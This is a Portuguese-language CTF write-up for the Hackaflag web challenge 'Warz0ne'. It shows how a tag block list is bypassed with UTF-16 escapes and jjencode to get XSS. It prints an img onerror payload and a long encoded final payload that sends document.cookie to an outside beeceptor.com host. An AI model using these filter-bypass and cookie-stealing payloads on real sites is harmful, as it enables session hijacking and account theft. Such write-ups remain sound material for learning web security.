HACKAFLAG — ETAPA DENNIS RITCHIE: Warz0ne

Esta é uma resolução de um desafio de web do HF: Warz0ne.

Acessando a url que o desafio nos dava, http://159.65.249.122:8585/, era possível encontrar uma aplicação, que em resumo, pegava o valor passado no input e o transcrevia na página em UPPERCASE.

...
Testando a aplicação


A partir daí, tentei executar um alert(1), porém sem sucesso pois eu vi que a tag script estava sendo barrada pelo backend, sendo assim, pensei em procurar quais eram as possíveis tags que estavam sendo barradas:

...
Encontrando parte de uma possível block list


Sendo assim, encodei o payload que eu passava para ver se mesmo assim era barrado ou se seria executado.

O primeiro payload que testei foi:

<img src=x onerror=alert(1)>
...
Tentando executar um alert(1)


Encodei img, src e onerror com UTF-16:

<\u0069\u006d\u0067 \u0073\u0072\u0063=x \u006f\u006e\u0065\u0072\u0072\u006f\u0072=alert(1)>

Porém o alert não foi executado e no console dizia “ALERT is not defined”, ou seja, o alert tinha que estar encodado também. Mas mesmo encodando com UTF-16 continuava dando o mesmo erro, a partir disso fui procurar algum bypass no google e encontrei! Encontrei que se eu encodasse primeiramente com jsfuck ou jjencode e depois com UTF-16 o alert seria executado. Maasss…. tinha um problema: com jsfuck o payload fica ENORME e excedia o limite de tamanho em um http header, logo mudei para o jjencode e tudo ficou ok!

Encodando o alert(1) com jjencode e logo em seguida com UTF-16, o payload:

<img src=x onerror=alert(1)>

Ficou assim:

<\u0069\u006d\u0067 \u0073\u0072\u0063=x \u006f\u006e\u0065\u0072\u0072\u006f\u0072=\u0024\u003d\u007e\u005b\u005d\u003b\u0024\u003d\u007b\u005f\u005f\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u0024\u0024\u0024\u003a\u0028\u0021\u005b\u005d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u005f\u005f\u0024\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u0024\u005f\u003a\u0028\u0021\u005b\u005d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u005f\u0024\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u0024\u0024\u003a\u0028\u007b\u007d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u0024\u0024\u005f\u0024\u003a\u0028\u0024\u005b\u0024\u005d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u005f\u0024\u0024\u003a\u002b\u002b\u0024\u002c\u0024\u0024\u0024\u005f\u003a\u0028\u0021\u0022\u0022\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u0024\u005f\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u0024\u003a\u002b\u002b\u0024\u002c\u0024\u0024\u005f\u005f\u003a\u0028\u007b\u007d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u0024\u0024\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u0024\u0024\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u005f\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u005f\u0024\u003a\u002b\u002b\u0024\u007d\u003b\u0024\u002e\u0024\u005f\u003d\u0028\u0024\u002e\u0024\u005f\u003d\u0024\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u0024\u005f\u0024\u005d\u002b\u0028\u0024\u002e\u005f\u0024\u003d\u0024\u002e\u0024\u005f\u005b\u0024\u002e\u005f\u005f\u0024\u005d\u0029\u002b\u0028\u0024\u002e\u0024\u0024\u003d\u0028\u0024\u002e\u0024\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u005f\u0024\u005d\u0029\u002b\u0028\u0028\u0021\u0024\u0029\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u0024\u0024\u005d\u002b\u0028\u0024\u002e\u005f\u005f\u003d\u0024\u002e\u0024\u005f\u005b\u0024\u002e\u0024\u0024\u005f\u005d\u0029\u002b\u0028\u0024\u002e\u0024\u003d\u0028\u0021\u0022\u0022\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u005f\u0024\u005d\u0029\u002b\u0028\u0024\u002e\u005f\u003d\u0028\u0021\u0022\u0022\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u0024\u005f\u005d\u0029\u002b\u0024\u002e\u0024\u005f\u005b\u0024\u002e\u0024\u005f\u0024\u005d\u002b\u0024\u002e\u005f\u005f\u002b\u0024\u002e\u005f\u0024\u002b\u0024\u002e\u0024\u003b\u0024\u002e\u0024\u0024\u003d\u0024\u002e\u0024\u002b\u0028\u0021\u0022\u0022\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u0024\u0024\u005d\u002b\u0024\u002e\u005f\u005f\u002b\u0024\u002e\u005f\u002b\u0024\u002e\u0024\u002b\u0024\u002e\u0024\u0024\u003b\u0024\u002e\u0024\u003d\u0028\u0024\u002e\u005f\u005f\u005f\u0029\u005b\u0024\u002e\u0024\u005f\u005d\u005b\u0024\u002e\u0024\u005f\u005d\u003b\u0024\u002e\u0024\u0028\u0024\u002e\u0024\u0028\u0024\u002e\u0024\u0024\u002b\u0022\u005c\u0022\u0022\u002b\u0024\u002e\u0024\u005f\u0024\u005f\u002b\u0028\u0021\u005b\u005d\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u0024\u005f\u005d\u002b\u0024\u002e\u0024\u0024\u0024\u005f\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u002b\u0024\u002e\u005f\u0024\u005f\u002b\u0024\u002e\u005f\u005f\u002b\u0022\u0028\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0022\u0029\u0022\u002b\u0022\u005c\u0022\u0022\u0029\u0028\u0029\u0029\u0028\u0029\u003b>
...
Execução do alert(1)


A partir disso era só criar um payload que pegava o cookie e o enviava para um servidor de controle seu. E esse payload seria enviado no /contact da aplicação.

Payload:

<img src=x onerror=location='https://mlkzika.free.beeceptor.com/?cookie='+document.cookie>

O trecho abaixo foi encodado jjencode e depois com UTF-16:

location='https://mlkzika.free.beeceptor.com/?cookie='+document.cookie

Payload final:

<\u0069\u006d\u0067 \u0073\u0072\u0063=x \u006f\u006e\u0065\u0072\u0072\u006f\u0072=\u0024\u003d\u007e\u005b\u005d\u003b\u0024\u003d\u007b\u005f\u005f\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u0024\u0024\u0024\u003a\u0028\u0021\u005b\u005d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u005f\u005f\u0024\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u0024\u005f\u003a\u0028\u0021\u005b\u005d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u005f\u0024\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u0024\u0024\u003a\u0028\u007b\u007d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u0024\u0024\u005f\u0024\u003a\u0028\u0024\u005b\u0024\u005d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u005f\u0024\u0024\u003a\u002b\u002b\u0024\u002c\u0024\u0024\u0024\u005f\u003a\u0028\u0021\u0022\u0022\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u0024\u005f\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u0024\u003a\u002b\u002b\u0024\u002c\u0024\u0024\u005f\u005f\u003a\u0028\u007b\u007d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u0024\u0024\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u0024\u0024\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u005f\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u005f\u0024\u003a\u002b\u002b\u0024\u007d\u003b\u0024\u002e\u0024\u005f\u003d\u0028\u0024\u002e\u0024\u005f\u003d\u0024\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u0024\u005f\u0024\u005d\u002b\u0028\u0024\u002e\u005f\u0024\u003d\u0024\u002e\u0024\u005f\u005b\u0024\u002e\u005f\u005f\u0024\u005d\u0029\u002b\u0028\u0024\u002e\u0024\u0024\u003d\u0028\u0024\u002e\u0024\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u005f\u0024\u005d\u0029\u002b\u0028\u0028\u0021\u0024\u0029\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u0024\u0024\u005d\u002b\u0028\u0024\u002e\u005f\u005f\u003d\u0024\u002e\u0024\u005f\u005b\u0024\u002e\u0024\u0024\u005f\u005d\u0029\u002b\u0028\u0024\u002e\u0024\u003d\u0028\u0021\u0022\u0022\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u005f\u0024\u005d\u0029\u002b\u0028\u0024\u002e\u005f\u003d\u0028\u0021\u0022\u0022\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u0024\u005f\u005d\u0029\u002b\u0024\u002e\u0024\u005f\u005b\u0024\u002e\u0024\u005f\u0024\u005d\u002b\u0024\u002e\u005f\u005f\u002b\u0024\u002e\u005f\u0024\u002b\u0024\u002e\u0024\u003b\u0024\u002e\u0024\u0024\u003d\u0024\u002e\u0024\u002b\u0028\u0021\u0022\u0022\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u0024\u0024\u005d\u002b\u0024\u002e\u005f\u005f\u002b\u0024\u002e\u005f\u002b\u0024\u002e\u0024\u002b\u0024\u002e\u0024\u0024\u003b\u0024\u002e\u0024\u003d\u0028\u0024\u002e\u005f\u005f\u005f\u0029\u005b\u0024\u002e\u0024\u005f\u005d\u005b\u0024\u002e\u0024\u005f\u005d\u003b\u0024\u002e\u0024\u0028\u0024\u002e\u0024\u0028\u0024\u002e\u0024\u0024\u002b\u0022\u005c\u0022\u0022\u002b\u0028\u0021\u005b\u005d\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u0024\u005f\u005d\u002b\u0024\u002e\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u005f\u002b\u0024\u002e\u0024\u005f\u0024\u005f\u002b\u0024\u002e\u005f\u005f\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u005f\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u002b\u0022\u003d\u0027\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u005f\u005f\u002b\u0024\u002e\u005f\u005f\u002b\u0024\u002e\u005f\u005f\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u002b\u0024\u002e\u005f\u005f\u005f\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u002b\u0024\u002e\u005f\u0024\u0024\u002b\u0022\u003a\u002f\u002f\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0028\u0021\u005b\u005d\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u0024\u005f\u005d\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u0024\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u0024\u002b\u0024\u002e\u005f\u0024\u005f\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u0024\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u005f\u002b\u0022\u002e\u0022\u002b\u0024\u002e\u0024\u0024\u0024\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u002b\u0024\u002e\u005f\u0024\u005f\u002b\u0024\u002e\u0024\u0024\u0024\u005f\u002b\u0024\u002e\u0024\u0024\u0024\u005f\u002b\u0022\u002e\u0022\u002b\u0024\u002e\u0024\u005f\u0024\u0024\u002b\u0024\u002e\u0024\u0024\u0024\u005f\u002b\u0024\u002e\u0024\u0024\u0024\u005f\u002b\u0024\u002e\u0024\u0024\u005f\u005f\u002b\u0024\u002e\u0024\u0024\u0024\u005f\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u002b\u0024\u002e\u005f\u005f\u005f\u002b\u0024\u002e\u005f\u005f\u002b\u0024\u002e\u005f\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u002b\u0024\u002e\u005f\u0024\u005f\u002b\u0022\u002e\u0022\u002b\u0024\u002e\u0024\u0024\u005f\u005f\u002b\u0024\u002e\u005f\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0022\u002f\u003f\u0022\u002b\u0024\u002e\u0024\u0024\u005f\u005f\u002b\u0024\u002e\u005f\u0024\u002b\u0024\u002e\u005f\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u0024\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u0024\u005f\u002b\u0022\u003d\u0027\u002b\u0022\u002b\u0024\u002e\u0024\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u005f\u002b\u0024\u002e\u005f\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u0024\u005f\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u002b\u0024\u002e\u005f\u005f\u002b\u0022\u002e\u0022\u002b\u0024\u002e\u0024\u0024\u005f\u005f\u002b\u0024\u002e\u005f\u0024\u002b\u0024\u002e\u005f\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u0024\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u0024\u005f\u002b\u0022\u005c\u0022\u0022\u0029\u0028\u0029\u0029\u0028\u0029\u003b>

E o enviei para o /contact:

...
/contact da aplicação


Era só necessário quebrar o “captcha” (o script está no github da minha equipe):

...
Quebrando o "captcha"


E depois enviar no campo url do /contact: http://159.65.249.122:8585/?msg=PAYLOAD.

E, por fim, só acessar o seu servidor e ver as requisições, e lá estava a flag!

...
FLAG


Flag:

HACKAFLAG{Insira_Um4_fl4g_4qu1}


Fontes:

XSS'OR - Hack with JavaScript

JSFuck - Write any JavaScript with 6 Characters: []()!+

jjencode - Encode any JavaScript program using only symbols

0x8Layer Team - CTF Writeups